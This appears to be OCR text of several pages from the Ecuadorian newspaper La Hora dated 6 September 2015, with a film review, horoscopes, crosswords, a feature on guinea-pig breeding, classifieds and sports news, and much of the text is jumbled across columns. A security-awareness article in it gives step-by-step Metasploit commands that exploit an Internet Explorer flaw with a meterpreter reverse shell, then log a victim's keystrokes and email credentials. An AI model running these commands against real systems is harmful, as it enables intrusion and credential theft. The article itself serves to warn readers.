noviembre se proyectará en estrella’ y ‘Titanic’. mil 500 salas de Atacama. “Fue muy complicado Aunque no es una pro- Estados Unidos. conseguir el financiaducción chilena, el comunicado señala que si se la consi- miento para la filmación y tamdera como una ‘película local’, bién tuvo dificultad lograr su ya sería la segunda apertura más distribución, pues por ser una grande de la historia, solo detrás historia latina no había interés”, reveló la destacada cineasta por de ‘Stefan v/s Kramer’. teléfono desde Atlanta, (EE. UU.), donde actualmente rueProblemas de rodaje Un sinfín de dificultades tuvo da otro drama, ‘Miracles From que enfrentar la cineasta mexi- Heaven’, de Sony Pictures, con cana Patricia Riggen durante los actores Jennifer Garner y tres años para filmar ‘Los 33’, Eugenio Derbez, para los procinta donde recrea la experien- ductores Joe Roth, TD Jakes y cia de 33 mineros chilenos res- Devon Franklin, cuyo estreno se catados el 13 de octubre de 2010, programó para la primavera de tras 69 días de colapsar la mina 2016. El relato trata sobre el detedonde trabajaban. Riggen relató las peripecias rioro físico y mental que sufren del rodaje y los problemas de los 33 mineros cuando yacen su distribución, al tiempo que atrapados en la mina chilena LA HORA, AGENCIAS

Los protagonistas El elenco lo conforman Gustavo Angarita, Antonio Banderas, Adriana Barraza, °Juliette Binoche, James Brolin, Gabriel Byrne, Mario Casas, Cote de Pablo, Kate del Castillo, Elizabeth de Razzo, Lou Diamond Phillips, Alejandro Goic, Bob Gunton, Tenoch Huerta, Óscar Núñez, Rodrigo Santoro, Juan Pablo Raba, Naomi Scott, Marco Treviño y Jacob Vargas.

de oro y cobre durante 69 días, desde el 5 de agosto de 2010 al 13 de octubre del mismo año, y finalmente son rescatados. También se observan sus vidas personales y emotivas, y cómo sus

familiares, los rescatistas y el entonces gobierno de Chile lucharon por sacarlos vivos. Además, la historia muestra la manera en que las grandes corporaciones se aprovechan de los trabajadores.

HORÓSCOPO

¿Nació un 6 de septiembre?

Sentimental y amoroso. Ama las cosas finas, estéticas y armoniosas. Le gusta estar rodeado de la naturaleza y de paz. Su hogar es muy importante para Ud. Los asuntos económicos deben ser resueltos con calma y menos materialismo.

• HORAGRAMA

H. MARCELO MEJIA R. hmejia@lahora.com.ec

parte inferior del tejado

creMa de la leche

ARIES

Los asuntos legales serán favorables para Ud. La comunicación con su pareja será más agradable y sincera. Las asociaciones de tipo intelectual serán buenas. Recuerde: Realice plenamente su renovación diaria.

salvaje

síMBolo de

extraña rezar,

osMio

vellón

GÉMINIS

(mayo 21 - junio 21)

Los disfrutes y placeres que buscará serán más de tipo intelectual. Inteligencia y facilidad de palabra además del encanto personal será lo que busque en una pareja. Recuerde: En todo hombre bueno habita Dios.

Músico y actor panaMeño

La falta de firmeza y la ambigüedad de uno de sus padres será fuerte. La comunicación y la sinceridad serán necesarias para sobrellevar los asuntos del hogar. Recuerde: Su momento presente es una feliz oportunidad.

MAXPRIME, 20:00

asno salvaje

MoliBdeno

BeisBol chicha

ciudad de venezuela vasija,

E R

N A

aCTor briTániCo de la pelíCula CaSino royal

niño de peCho

Gabán

Símbolo de oSmio

eloGiar

Símbolo del nobelio

Ciudad de Turquía

Cuadrúpedo aSTro rey

A L láTex

Carro en inGléS

reliGioSa

CorTar arGolla

argucia,

discurso,

diosa de la

Marsupial

rinoceronte

ión

proyeCTil roCío llovizna

CompoSiCión líriCa Símbolo del Sodio

A S A R G a CELEBRIDADES v

fluenTe

EMIL FISCHER (1851 - 1919) QuíMICo aLEMán. REaLIzó EStudIoS SobRE EStERoEQuíMICa. PREMIo nobEL dE QuíMICa En 1902.

Trampa

R A

aSija para GuiSar

A L L

nave

manTeCa

manTo beduino

río del eCuador baTaTa

aSTaTo

alfa

Símbolo de

hembra del

que ha perdiaSTado

marGen inSTrumenTo muSiCal

borde,

pillar

Cabro

do el juiCio

pronombre

perSonal

Saludo indio

paSmada rizoma, oriGen

eSCriTor mexiCano

dioS del amor

arTíCulo femenino

radio

hoGar

Cordillera de ruSia

pareja

Sin brillo

Caudillo de loS hunoS diGnidad papal

áTomo

diSperSo

SufrimienTo

miSTer abreviado meTal preCioSo

ola

A R U

moleSTia

primera noTa muSiCal

disperso

vegetación en el desierto

Metal precioso

solitario crecida

priMera nota

foGarada

altar

ofidio de Gran Tamaño mujer que no Cree en dioS

delta

loBo departaMento de perú

pelíCula maCheTe

argolla

cria del

aCTriz de eeuu. de la

eSCriTor mexiCano

N A A T

amamanTar,

liSTa

roSTro Símbolo de

oeSTe

eduCar

A R

hermano de moiSéS

delta

tierra

proclaMa

australiano

río de perú

Carbono

exTraña

Calle de un pueblo

Símbolo de

deparTamenTo de perú embuSTe,

deSTreza

formar nombre femenino

dádiva

invenTar,

rato sin vocales

Solución anterior C

su novia. Todo se complica con la llegada de Electro, un enemigo más poderoso que él, y el regreso de Harry Osborn, un viejo amigo que le ayudará a descubrir asuntos importantes sobre OsCorp. Es la secuela de ‘El sorprendente Hombre Araña’.

Maíz para la

ardid

(julio 23 - agosto 22)

Peter Parker divide su vida °entre proteger la ciudad y a

palo de

síMBolo de

cántaro

LEO

El sorprendente Hombre Araña 2

planeta

rotar

exitosa cantante cuBana

(junio 22 - julio 22)

la superficie gorra sin visera

volver a atar

furia

CÁNCER

parafina oMega

igualdad en

dios de los reBaños

fue una

coBalto

huevo

longitud

traMpa

repercusión

síMBolo del

Medida de

da de agua

coMpositor,

Que no cree en dios

TVFAN

chino

parte del

eMBuste Moneda de coloMBia falta

plantígrado

la Boca

tierra rodeagruesa

B11

político

de luz

Dentro de su trabajo será más equilibrado y práctico. La comunicación con sus compañeros mejora. Mantenga la tranquilidad para estabilizar su sistema nervioso. Recuerde: Lo que merece ser hecho, merece que lo haga muy bien.

Procure hacer un uso equilibrado e inteligente con su dinero. La pareja o hermanos pueden ser un apoyo económico. Se acrecientan los recursos intelectuales. Recuerde: El lenguaje de la verdad es sencillo.

relativo a

suplicar

Bañado

tiza

tieMpo

Manada de

(abril 20 - mayo 20)

(agosto 23 - septiembre 22)

del diluvio

cerdos

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

eMBarcación

ciudad de japón

Bóvido

TAURO

VIRGO

instruMento Musical esposa de aBrahaM

extraño

(marzo 21 - abril 19)

Su mente se torna más activa y tendrá gran facilidad para comunicarse con los demás. Los negocios que tengan relación con el área intelectual le pueden favorecer. Recuerde: Dé lo mejor de Ud. a los que le rodean.

MOSAICO

aMaestrar, aMansar

Musical

síMBolo del

repercusión

pordiosero,

litro

cuarta vocal

indigente

eMBarcación

papagayo

del diluvio

LIBRA

(septiembre 23 - octubre 22)

Su sensibilidad y flexibilidad le harán encantador ante los demás. Ud. poseerá mayor facilidad de palabra y pensamiento. Recuerde: Existe un gigante poderoso en cada uno de nosotros.

ESCORPIO

(octubre 23 - noviembre 21)

La mente puede anclarse en los sucesos del pasado. No permita que la depresión ni la tristeza le hagan su presa. Manténgase sereno y ecuánime. Recuerde: Si quiere sentirse feliz actúe con alegría y alborozo.

SAGITARIO

(noviembre 22 - diciembre 21)

Ud. buscará tener afinidad intelectual con sus amigos. El trato con ellos será diplomático y afectuoso. Proyectos a nivel intelectual. Recuerde: La alegría es una medicina eficaz para las personas abatidas.

CAPRICORNIO

(diciembre 22 - enero 19)

Será muy importante el tacto dentro de sus relaciones con superiores. Manéjese con cuidado y sea prudente. Deseos de reconocimiento. Recuerde: Feliz quien nos reconcilia con la vida.

ACUARIO

(enero 20 - febrero 19)

Los viajes al extranjero por estudios o negocios le pueden beneficiar mucho. Buen momento para abogados y jueces o para estudiar leyes. Recuerde: Ser feliz es alcanzar la sabiduría.

PISCIS

(febrero 20 - marzo 20)

Ud. está apto para el análisis de situaciones ocultas. Inclinación por el estudio de ocultismo y esoterismo. Cambios mentales profundos. Recuerde: La fe es más fuerte que el miedo.

MICROBIOGRAFÍA

• HORAKU Nro.3294

Roger Waters (1943)

Músico británico, uno de los fundadores y líderes de Pink Floyd, nace un día como hoy en Surrey, Reino Unido. Es el bajista de la agrupación y es uno de los principales compositores de la misma. También participó con su voz y tocando el sintetizador, la guitarra eléctrica y acústica. Es uno de los creativos al ejecutar proyectos conceptuales como ‘The Dark Side of the Moon’, ‘Wish You Were Here’, ‘Animals’ y ‘The Wall’. Es miembro del Salón de la Fama del Rock en EE.UU. y Reino Unido. (DVD)

Nro.3293 8 4

5 2

1 7

5 1

3 9

6 2 3 6 2 8 7 4

3 6

1 5

3 7 6

9 2

9 7

6 8

4 1

8 6 2

7 1

2 3

8 4 5 1 4 9 8 6 2 7 1 7 2 5 3 6 4 8 8 4 7 1 3 5 9 9 7 1 4 8 2 5 1 6 9 5 4 3 7 5 3 2 8 1 9 6

8 4 7 1

5 7 3 1 4

1 6 2 5 9 1

3 4 7 9 3 5 6

Tan fuerte y tan cerca CINEMAX, 15:45

niño de 9 años pierde a °suUn padre en los atentados en Nueva York del 11-S. En su casa consigue una llave y cree que con ella su padre le ha dejado un mensaje. Comienza así una conmovedora expedición por la ciudad para hallar la cerradura que abre.

CÁPSULA CIENTÍFICA

Prueban robot que descontamina en Japón La operadora de la central nuclear de Fukushima ha probado con éxito un nuevo robot teledirigido para retirar las sustancias radiactivas de los edificios de los reactores dañados, confirmó la eléctrica Tokyo Electric Power (Tepco). Su objetivo es facilitar el proceso de desmantelamiento de la planta, ya que permitirá limpiar zonas de difícil acceso de los inmuebles adonde no pueden llegar otros dispositivos, y en las que los niveles de radiactividad son demasiado altos para los

operarios humanos. El robot es capaz de alcanzar hasta los ocho metros de altura gracias a su cuerpo desplegable, con lo que podría limpiar gran parte del interior de los edificios e incluso el techo, donde se acumulan residuos altamente radiactivos emanados de los reactores tras la catástrofe nuclear de 2011. El dispositivo cuenta con una cabeza por la que expulsa chorros de hielo seco granulado (nombre que se le da al dióxido

AYUDA. El aparato operará en octubre.

de carbono en estado sólido), lo que le permite pulir la superficie de las paredes y retirar las sustancias radiactivas. Nota ampliada Léala en: www.lahora.com.ec

CYAN MAGENTA YELLOW BLACK

INTERCULTURAL

B12

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR I

Consumo Pero los cuyes también son muy apetecidos. En las fiestas familiares de la zona °occidental, el plato de este animal es toda una tradición. La preparación inicia con una forma peculiar de matarlo: se le agarra de la cabeza y sobre una piedra o algo duro se le presiona o aplasta la nariz. Luego es pelado en agua hirviendo y se le sazona (con ajo y aliño) de un día para otro. Al siguiente día, se le asa y está listo para consumirlo, generalmente acompañado de papas, un pozuelo de arroz, lechuga y mote.

Sugieren apoyo tradición no desaparezca y vaya evolucionando, Marcia Díaz °pideParaquequese esta los capacite con siembra y mejoramiento de pastos, ya que en oca-

siones por falta de pastos compran taralla de maíz, que viene fumigada, lo cual enferma a los cuyes y mueren. José Yauri Saca, en cambio, manifiesta que lo idóneo sería que los doten de un buen sistema de riego de forma permanente para los pastos. “Si ayudaran con eso las autoridades no tendría 600 cuyes, sería 5 mil o 10 mil, pero no hay cómo”.

CRIANZA. José Yauri Saca muestra dos de sus mejores cuyes, que tienen un peso de cerca de 3 libras.

LOS CUYES SON PATRIMONIO EN CHUQUIRIBAMBA La crianza de este ejemplar ayuda en la economía y la alimentación de la gente de esta zona occidental de Loja.

S LOJA, LA HORA

i la parroquia Chuquiribamba, perteneciente a Loja, es Patrimonio Cultural del Ecuador, entonces el cuy lo es también para sus habitantes. El clima frío de Chuquiribamba y los extensos terrenos son aprovechados por la gente para la agricultura, pero no hay una familia que no tenga un criadero de cuyes. Si bien el clima frío y lluvio-

so de este sitio no es propicio para la crianza de estas especies, los habitantes se las ingenian de manera artesanal para hacer las denominadas ‘cuyeras’ o galpones. Por lo general, las elaboran en pequeños cuartos de madera con piso de tierra, si es posible con viruta, con el afán de que el frío no incomode a los intranquilos roedores que apenas sienten la presencia de alguien o cuando les llevan alimentos, hacen un sonido similar a su nombre.

Receta

Cuy asado Ingredientes: °1 cuy pelado

3 dientes de ajo 1 rama de cebolla blanca 1/2 cucharada de achiote Sal al gusto

°SePreparación: coloca la cebolla con el ajo en una licua-

DELICIA. Los cuyes asados son la especialidad.

dora por dos minutos, aproximadamente, luego se añade la sal, con esta mezcla se procede a condimentar (aliñar) el cuy y se le deja reposar hasta el día siguiente. Se le debe asar en carbón, barnizándolo con una mezcla de aceite y achiote de una manera uniforme. Se puede utilizar una brocha o una rama de cebolla conforme se van calentando, para que se asen de una forma homogénea.

En la nombrada parroquia, desde pequeños van aprendiendo esta tarea de criar a estos pequeños. “Para nosotros tener un cuy es como tener un perrito o mascota en la casa”, confiesa sonriente José Yauri Saca, de 60 años, quien en su galpón posee más de 600 de estos ejemplares de todas las edades y tamaños. Crianza

Yauri indica que cuando se da el nacimiento de un cuy, luego de 15 o 20 días se lo separa de su madre, asimismo se aparta a las hembras de los machos, y a las hembras que son de reproducción y los que están listos para la venta o el consumo. Todos tienen su propio espacio dentro del galpón. La alimentación de estos es el pasto, el maíz molido, la alfalfa o una mezcla de todos estos productos. En el caso de José, dice que para sus 600 cuyes invierte aproximadamente ocho arrobas de maíz molido, semanal. Marcia Díaz, de 42 años, tiene 90 de estos roedores. Comenta que en el frío lo mejor para estos es la taralla y maíz molido o afrecho. Relata que cada uno posee su propio pozo, jaula o galpón, de acuerdo a la edad. Una hembra puede llegar a tener de cuatro a seis crías. Tres meses dura el estado de gestación. Los más grandes pueden llegar a costar de 7 a 8 dólares. El normal, de dos libras y media, tiene un valor de 5 dólares.

CUIDADO. Los galpones donde se cría generalmente son en piso de tierra o con viruta, para que el frío no enferme a los animales.

No es valorado

Marcia expresa que su labor no es bien recompensada “porque no pagan lo que debería ser”. Para que uno de estos ejemplares llegue a estar robusto para la venta, los procesos de cuidado y alimentación son de aproximadamente cuatro meses. Se les vende por el tamaño. Manifiesta que muchos, desde que nacen, como es su caso, ya aprenden el arte de criar a estas especies y se encariñan con ellos que hasta les llegan a poner nombres. Ella cuida de sus cuyes junto a su hija y sobrino. Es las ferias de la parroquia

aprovechan para sacarlos a la venta. “No hay otra forma de subsistir acá en Chuquiribamba, porque es más rentable que trabajar en una huerta. Lo mejor es sembrar hierba y con eso criar a estos animales”, confiesa la experta. Por ser Chuquiribamba una zona identificada con los cuyes, llegan comerciantes de otras provincias como Cuenca para comprar ejemplares de alta calidad. El secreto radica en limpiar los galpones con frecuencia y darles de comer tres veces al día, para que haya una buena y rápida reproducción. (AJBT)

Actualiza tu software y evita el hackeo de tu máquina

Una guía que permite entender las vulnerabilidades que permiten ingresos peligrosos en sus sistemas. POR: LUIS ENRÍQUEZ

De seguro todos han escuchado la recomendación de mantener sus sistemas y aplicaciones actualizados. Pues tienen toda la razón. Así, explicaré por qué es tan peligroso no mantenerlos al día. Comencemos con decir que el principal objetivo de las actualizaciones es corregir las fallas de seguridad (o bugs) encontradas en el software.

Esta vulnerabilidad permite a un tercero atacar y explotar dicho sistema informático. Para explotarlas, se programan los exploits, que son programas destinados a verificar las fallas de seguridad del software, obteniendo el control del sistema. Las empresas grandes de Internet, como Google o Mozilla, pagan a los hackers para

EXPLORA E

que encuentren debilidades en malicioso que permite la transsus códigos fuentes y así evitar misión de datos entre la computadora hackeada y la del grandes perdidas ecoEL DATO atacante. nómicas. Las vulnerabilidades reportadas y los exploits Keyloggers: Son Manos a la obra conocidos pueden co- programas que *Metasploit graban toda la nocerse en sitios como: información que Es uno de los kits de herraingresada https://nvd.nist.gov/ o es mientas más eficaces para desde el teclado https://www.exploit-db. de tu computa- explotar vulnerabilidades. dor. com/. Hay una versión libre y Una vez que los exotra pagada. Casi todos sus ploits han obtenido acceso al componentes son software libre sistema aprovechándose de las (y open source), garantizados fragilidades, necesitan de un bajo los términos de la licencia Payload (o carga) para ser ejecu- 3-clause BSD. A continuación, tadas. El Payload es el programa la forma cómo actúan los piratas:

1. Descarga Metasploit desde °http:/ /www.metasploit.com/

B13

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

6. Ahora aparece un mensaje de °advertencia por salir del modo seguro de Internet Explorer. Muchos no le harán caso, como es habitual al navegar en Internet.

se habrá explotado el sistema de la víctima, ganando el control °de7.suEntonces, sistema. Después, investigamos algunas acciones que el atacante puede

Ocultar archivos en lugares inesperados. Archivos secretos dentro de fotos, audios, etc...

hacer una vez que hackeó la máquina deseada.

viene con funcionalidad de keylogger. Habilitamos está función °con8.elMetasploit comando keyscan_start.

2. Una vez instalado, corremos la °ejecutable. En este caso (o en cual-

4. Una vez ejecutada la exploit, la computadora quedará en la espera de recibir la conexión remota.

quier distribución basada en Linux), desde el terminal con msfconsole.

lo que la víctima digite en su teclado será enviado al atacante. Inclu°idas9. Todo sus credenciales de email: chequea el keylogger con el comando keyscan_dump: °Así10.esSecomo los hackers tienen acceso a los emails de la víctima.

Buscamos una vulnerabili°dad3. para explotar. En este caso

se utilizará una conocida, llamada ms10_046_shotcut_icon_dllloader. Es una falla común en Internet Explorer, utilizada para explotar sistemas operativos de Windows 7. Los comandos a utilizar son los siguientes: - use exploit/windows/browser/ms10_046_shortcut_icon_ dllloader - set SRVHOST (tu dirección IP) - set LHOST (de nuevo tu dirección IP) - set PAYLOAD windows/meterpreter/reverse_tcp - exploit

11. Ahora, para terminar, el atacante también puede subir archivos a la máquina de °la víctima. Esto es grave, pues podría subir un backdoor para acceso permanente, e

5. Desde la máquina de la víctima se visita la página del atacante. Para esto podrían usar un nombre de dominio (como www.pastebin.com) en lugar de una dirección IP.

incluso evidencia falsa. Ej: Imagínate que te suban archivos con el único fin de generar evidencias falsas, para culparte acerca de delitos que no has cometido.

VENTA DE CAMIONES HINO FM MODELO 2015 $ 68000 PRONCA 0987361644

VENTA DE CHEVROLET LUV 2005

0987361644

PAP/63711

DISEL Y GASOLINA MATRICULADAS

PAC63711fa

P-PR

¡NO SUFRAS MÁS!

* En caso de comunicaciones remotas y para utilizar nombres de dominio (como www. pastebin.com), en lugar de direcciones IP, utilizan el Payload: windows/meterpreter/reverse_tcp_dns.

Está usted cansado de perder su tiempo y dinero?

JOSÉ DE LOS SANTOS

Y SUS 13 CONSEJEROS DEL AMOR

La persona que amas te rechaza? te humilla? te engaña?

No quiere saber nada

de tí? Deja de llorar! NO PROMETEMOS, José de los Santos, únicos maestros CUMPLIMOS

VENDO

José de los Santos le dirá todo lo que necesita saber sobre AMOR, Orientamos SUERTE, SALUD Y VIAJES a través matrimonios evitar de sus rituales de amor, conocerás para divorcios la causa de tus problemas o males

NO PERMITAS QUE NADA NI NADIE JUEGUE CON TUS SENTIMIENTOS Y DESESPERACIÓN

DEJA DE LLORAR, NO ESTÁS SOLO

PAP/63594

INF: 0998314070

conocedores de los mejores SECRETOS para ATRAER, CONQUISTAR y ENAMORAR a la persona que quieres no importa dónde esté.

P AR/100747/AG

SERIE BIG BLUE 400 CX

PAP/63735

P:F/35415

MOTO SOLDADORA SEMI NUEVA MARCA MILLER

Expertos en Recuperar Amores Imposibles y Rebeldes

TRABAJOS GARANTIZADOS O LE DEVOLVEMOS SU DINERO

CONSULTA $ 5

LLAME YA AL: 098 190 66 99

P-211099-MIG

CRONOS B14

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Estrellas en la red

¡Qué frío!

El delantero argentino-italiano Daniel Osvaldo, quien milita en el Porto de Portugal, subió unas curiosas imágenes en su cuenta oficial de Twitter (@danistone25). El exjugador de Boca Juniors de Argentina subió dos fotos en las que solo tiene puesto un calzoncillo y medias. “Máquina de frio, -101 grados”, escribió en la popular red social. Los deportistas acuden a este tipo de máquinas para reponerse de una carga muscular fuerte. (RM)

Intensidad todo el tiempo ‘TRICOLOR’

REVÉS. Roger Federer estuvo preciso con los golpes. AFP

Federer imparable, franceses al ataque El astro Roger man cuatro los tenista ‘galos’ que Federer siguió imparable camino avanzaron a cuarta ronda, hecho a la cuarta ronda, junto a un pe- sin precedente en un US Open. El viernes se clasificaron a lotón de cuatro franceses que se tomaron por asalto TOME NOTA octavos de final Jo-Wilfred Tsonga (N.19), Benoit Paia Nueva York, donde la británica Johanna Konta También avanza- re y Jeremy Chardy (N.27). La británica Johanna está escribiendo otra de ron por el cuadro la Konta, una casi desconocilas tantas historia de ‘Ce- femenino checa Petra nicientas’ en el Abierto de Kvitova, la aus- da tenista en el circuito de traliana la WTA hasta este Abierto, Estados Unidos. Samantha la italiana continuó tejiendo su sueño El ‘Expreso suizo’ solo Stosur, Flavia Pennetta y de Cenicienta al conseguir necesitó de 93 minutos la bielorrusa este sábado un pasaje a ocpara sacar su pasaje a Victoria Azarenka. tavos de final. Konta, 97ª juoctavos de final del últigadora del mundo y quien mo Gran Slam del año, al liquidar en tres sets al alemán entró al torneo como una ‘lucky Philipp Kohlschreiber por 6-3, loser’ de la qualy, sorprendió a la 6-4, 6-4. Con la victoria del fran- decimoctava favorita, la alemana cés Richard Gasquet sobre el Andrea Petkovic, al vencerla por australiano Bernard Tomic, su- 7-6 (7/2), 6-3.

NUEVA YORK, AFP •

Paliza a Bolivia

Una inspirada Argentina vapuleó el viernes en Houston (EE.UU.) por 7-0 a Bolivia en partido amistoso que dejó sendos dobletes Ezequiel Lavezzi, Sergio Agüero y el astro del Barcelona Lionel Messi. Con una tribuna predominantemente albiceleste, los dirigidos por Gerardo ‘Tata’ Martino jugaron como en casa y dieron un auténtico recital. EFE

El DT habló sobre los planes previos a las Eliminatorias.

La velocidad de los jugadores debe mantenerse a un nivel óptimo. Gustavo Quinteros fue claro en la rueda de prensa que brindó ayer en la Casa de la Selección. “Solo sé que debemos mantener la intensidad e idea de juego durante todo el partido, tratar de no tener altibajos”, señaló. El seleccionador de 50 años de edad habló sobre los distintos rivales que se le avecinan. Primero, de Honduras, el contrincante de este martes, recalcó la agresividad en su juego y el cambio de sistema táctico que presentan bajo la dirección de Jorge Luis Pinto. “Es un equipo duro, ordenado, con jugadores rápidos, que juega bien de contragolpe. Es un rival de máxima exigencia y nos va a servir mucho”, expresó. El equipo ‘catracho’ venció a DIÁLOGO. Quinteros ofreció una rueda de prensa en el auditorio de la Casa Venezuela en un amistoso juga- de la Selección. do el viernes por 3-0. En el encuentro a jugarse el martes en el estadio Olímpico Atahualpa, Quinteros apuntó que su prioridad es darle oporLa Selección de Honduras goleó el viernes a domicilio por 0-3 a una tunidad a todos. “Quisiera hadesorientada Venezuela en Puerto Ordaz ante muy pocos y decepcionados cer más de dos o tres cambios”, espectadores, que observaron la peor faceta de la ‘Vinotinto’ y el destacado indicó pensando en qué aporte desempeño de los jugadores dirigidos por el colombiano Jorge Luis Pinto. diferente le pueden brindar eleLos hondureños no sintieron la falta de Andy Najar, Johnny Palacios y Rommel mentos relativamente nuevos en Quioto, y rubricaron su gran partido con los goles de Erick Andino, Román la Selección como Juan Cazares, Castillo y Emilio Izaguirre. Luis Aurelio López se lució entre los tres palos, atajó Juan Diego Rojas o Pedro Larrea. un penalti a la estrella venezolana, Salomón Rondón. EFE El segundo equipo del que hizo un análisis fue Argentina. martes ha tenido entrenamien- de que Joao Rojas no pudo venir El primer rival que tendrá la tos diarios con los seleccionados desde México. En cuanto a los lesionados, ‘Tri’ en las Eliminatorias para ecuatorianos. Sobre los casos pun- Quinteros dijo estar tranquilo el Mundial 2018. Quintuales de algunos de sus por cómo evolucionan las lesioteros no tuvo reparos en dirigidos, el timonel argen- nes de varios futbolistas. La aucalificar a la ‘Albiceleste’ EL DATO tino-boliviano dijo sentirse sencia de Enner Valencia en el como la mejor Selección de Sudamérica por Ecuador jugará gratamente sorprendido inicio de las Eliminatorias está Honduras por Juan Diego Rojas, de- casi confirmado de no ser que sus últimos logros: vice contra el martes a las 16:00 en el esta- lantero de Deportivo Qui- la recuperación se apresure de campeona mundial y de dio Olímpico to. “Ecuador puede tener forma natural. Por el resto de América. Atahualpa. en él un jugador importan- jugadores, como Pedro Quiñó“Tenemos que jugarlo te, tiene gol, puede jugar nez y Jefferson Montero, el DT al máximo de las condiciones. Al máximo Ecuador le de extremo ofensivo, por ambos se mostró seguro de que popuede ganar a cualquiera”, ase- costados o segundo delantero”, drán volver a las canchas en las guró el entrenador que desde el explicó. Rojas llegó a la ‘Tri’ luego próximas semanas. (RM)

Honduras se impone a Venezuela °

Con fe en sus goleadores CAMPEONATO

Cada vez que Barcelona pisa el césped del estadio Casa Blanca llega con la misma consigna: romper el invicto histórico de Liga de Quito. Hoy desde las 11:30, ‘toreros’ y ‘albos’ jugarán el encuentro número 43 en el recinto deportivo ubicado en Ponciano. La buena noticia para Guillermo Almada, DT de Barcelona, llegó el viernes cuando la Comisión de Disciplina de la Federación Ecuatoriana de Fútbol (FEF) levantó la sanción sobre Matías Oyola. El capitán ‘amarillo’ podrá ser de la partida si el técnico lo prefiere. La única ausencia estaría en la portería debido a la convocatoria de Máximo Banguera a la Selección. El entrenador uruguayo confía en Damían Lanza para sustituirlo. “Es la primera vez que podemos repetir la alineación y consideramos que es un punto a favor”, expresó Almada sobre el resto del equipo y su clara idea de cómo jugar antes los ‘blancos’. En el ataque del ‘Ídolo’ la responsabilidad de romper con la zaga más fuerte del Campeonato recaerá sobre Ismael Blanco y Brahian Alemán. Entre los dos han marcado 19 goles de los 43 que tiene Barcelona en toda la temporada 2015. “Conocemos bastante la parte defensiva de Liga”, señaló Almada sobre la fortaleza de los locales para no dejarse marcar goles.

Venta de entradas desde las 08:00 ° Según Marcelo Valencia, jefe de taquilla de Liga de Quito, en caso de que existan entradas sobrantes de la venta realizada ayer, se las comercializarán en las boleterías del estadio Casa Blanca, para los aficionados de la ‘U’, y en la avenida Diego de Vásquez al frente de la parada de la Ofelia, para los hinchas ‘toreros’. Para la fanaticada de Barcelona se asignaron 4.100 entradas en la General sur alta. Los precios de las entradas son: $10 general, $12 tribuna y $30 palco. Se venden desde las 08:00. (RM)

Ataque repotenciado

año, los goles no se han hecho esperar. En especial Luis Zubeldía, técnico ar- EL DATO Jonathan Álvez, que lleva gentino de la ‘U’, reconoce tres goles en tres partidos. el buen campeonato que Liga de Quito “Sí siento que potenha tenido el bloque de- venció a en los ciamos el equipo que tefensivo. Su rival de turno Barcelona dos partidos no les ha marcado ningún (2-0 y 0-1) que níamos. No se notan tanto jugaron en la prilas ausencias de jugadores gol en los dos partidos ju- mera fase del como Miller (Castillo) o el gados en la primera fase Campeonato. ‘Rámber’ (Enrique Vera)”, del torneo. En la segunda etapa, Liga señaló el DT en rueda de prensa. Zubeldía afirmó estar más está brillando por su poderío ofensivo. El equipo ‘azucena’ pendiente de lo que tiene su lleva 15 goles, el mejor registro equipo que de las cualidades de de un equipo en las ocho fechas Barcelona, plantel al que dirigió jugadas y tomando en cuenta en el 2012. “Esperamos hacer que tienen un partido pendien- notorio el hecho de ser un equite ante Liga de Loja. Con los re- po ordenado, fuerte, intenso. Si fuerzos contratados a mitad de lo hacemos así, el partido podría

Barcelona no le ha podido marcar goles a Liga en esta temporada. intenso”.

D. Viteri J. Madrid N. Araujo L. Romero P. Estupiñán J. Quintero J. Cevallos F. Intriago H. Matamoros D. Morales J. Álvez DT: L. Zubeldía

vs.

Barcelona D. Lanza W. Erreyes, J. Perlaza G. Marqués, D. Calderón J. Domínguez O. Minda M. Oyola B. Alemán I. Blanco E. Esterilla DT: G. Almada

Hora: 11:30 Estadio: Casa Blanca (Quito) Árbitro: Daniel Salazar

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

B15

MINUTERO

Esperamos hacer notorio el hecho de ser un equipo ordenado, fuerte,

DT DE L.. DE QUITO

Los clásicos se hicieron para ganar y estamos mentalizados en hacerlo. Todos los partidos son importantes para nosotros”. GUILLERMO ALMADA DT DE BARCELONA

darse a nuestro favor”, agregó sobre su intención de juego. Al igual que en Barcelona, la variante obligada estará en el arco. Daniel Viteri tomará el lugar de Alexander Domínguez, arquero que está con la ‘Tricolor’. Más adelante, Zubeldía podría mantener a Hólger Matamoros o confiar en Juan Ignacio Cavallaro. (RM)

‘Como un clásico’

volante de Liga de Quito °JoséEl Quintero dialogó con radio La Red de Quito y aseguró que el partido contra Barcelona es como un clásico. “Tienen 18 años sin ganar acá y nosotros queremos que eso se mantenga”, expresó. ‘El Choclo’ ha sido titular habitual en la oncena de Luis Zubeldía. (RM)

Apoyo a los árbitros

Noboa, presidente °deAntonio Barcelona, luego de que la

En el torneo 2015 L. de Quito

LUIS ZUBELDÍA

CREATIVIDAD. Brahian Alemán, de Barcelona, y Diego Morales, de Liga, serán titulares en el cotejo de hoy.

Alineaciones

CRONOS

L. de Quito Barcelona

PJ 29 30

PG 17 14

PE 9 4

PP 3 12

GF 43 43

Frente a frente

GC 19 31

FEF decidió anular la sanción sobre Matías Oyola el viernes, pidió apoyo para los jueces ecuatorianos. “Los árbitros deciden en un segundo. Todos debemos ayudarlos, son seres humanos y debemos confiar en ellos”, agregó. (RM)

En Casa Blanca

jugados ° Partidos L. de Quito ° Victorias ° Empates ° Victorias Barcelona

42 28 14 0

Estadísticas históricas En el Campeonato nacional Jugados ° Partidos L. de Quito ° Victorias ° Empates ° Victorias Barcelona

199 69 52 78

880 policías resguardarán el partido

Las actividades de seguridad para el encuentro empezarán a las 06:00 y terminarán hasta que se desaloje por completo el estadio de Ponciano. La Policía dispondrá de 880 efectivos para evitar incidentes entre los hinchas antes, durante y después del partido. (RM)

¿Se mantiene o hay cambio de líder?

CRONOS B16

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

SERIE A

Aucas defiende el primer lugar en su estadio ante U. Católica que, de ganar, llegaría a la cima.

RESPALDO. Poca asistencia de público se registró ayer en el estadio.

Cuatro goles en empate entre River y Mushuc Runa RIVER EC

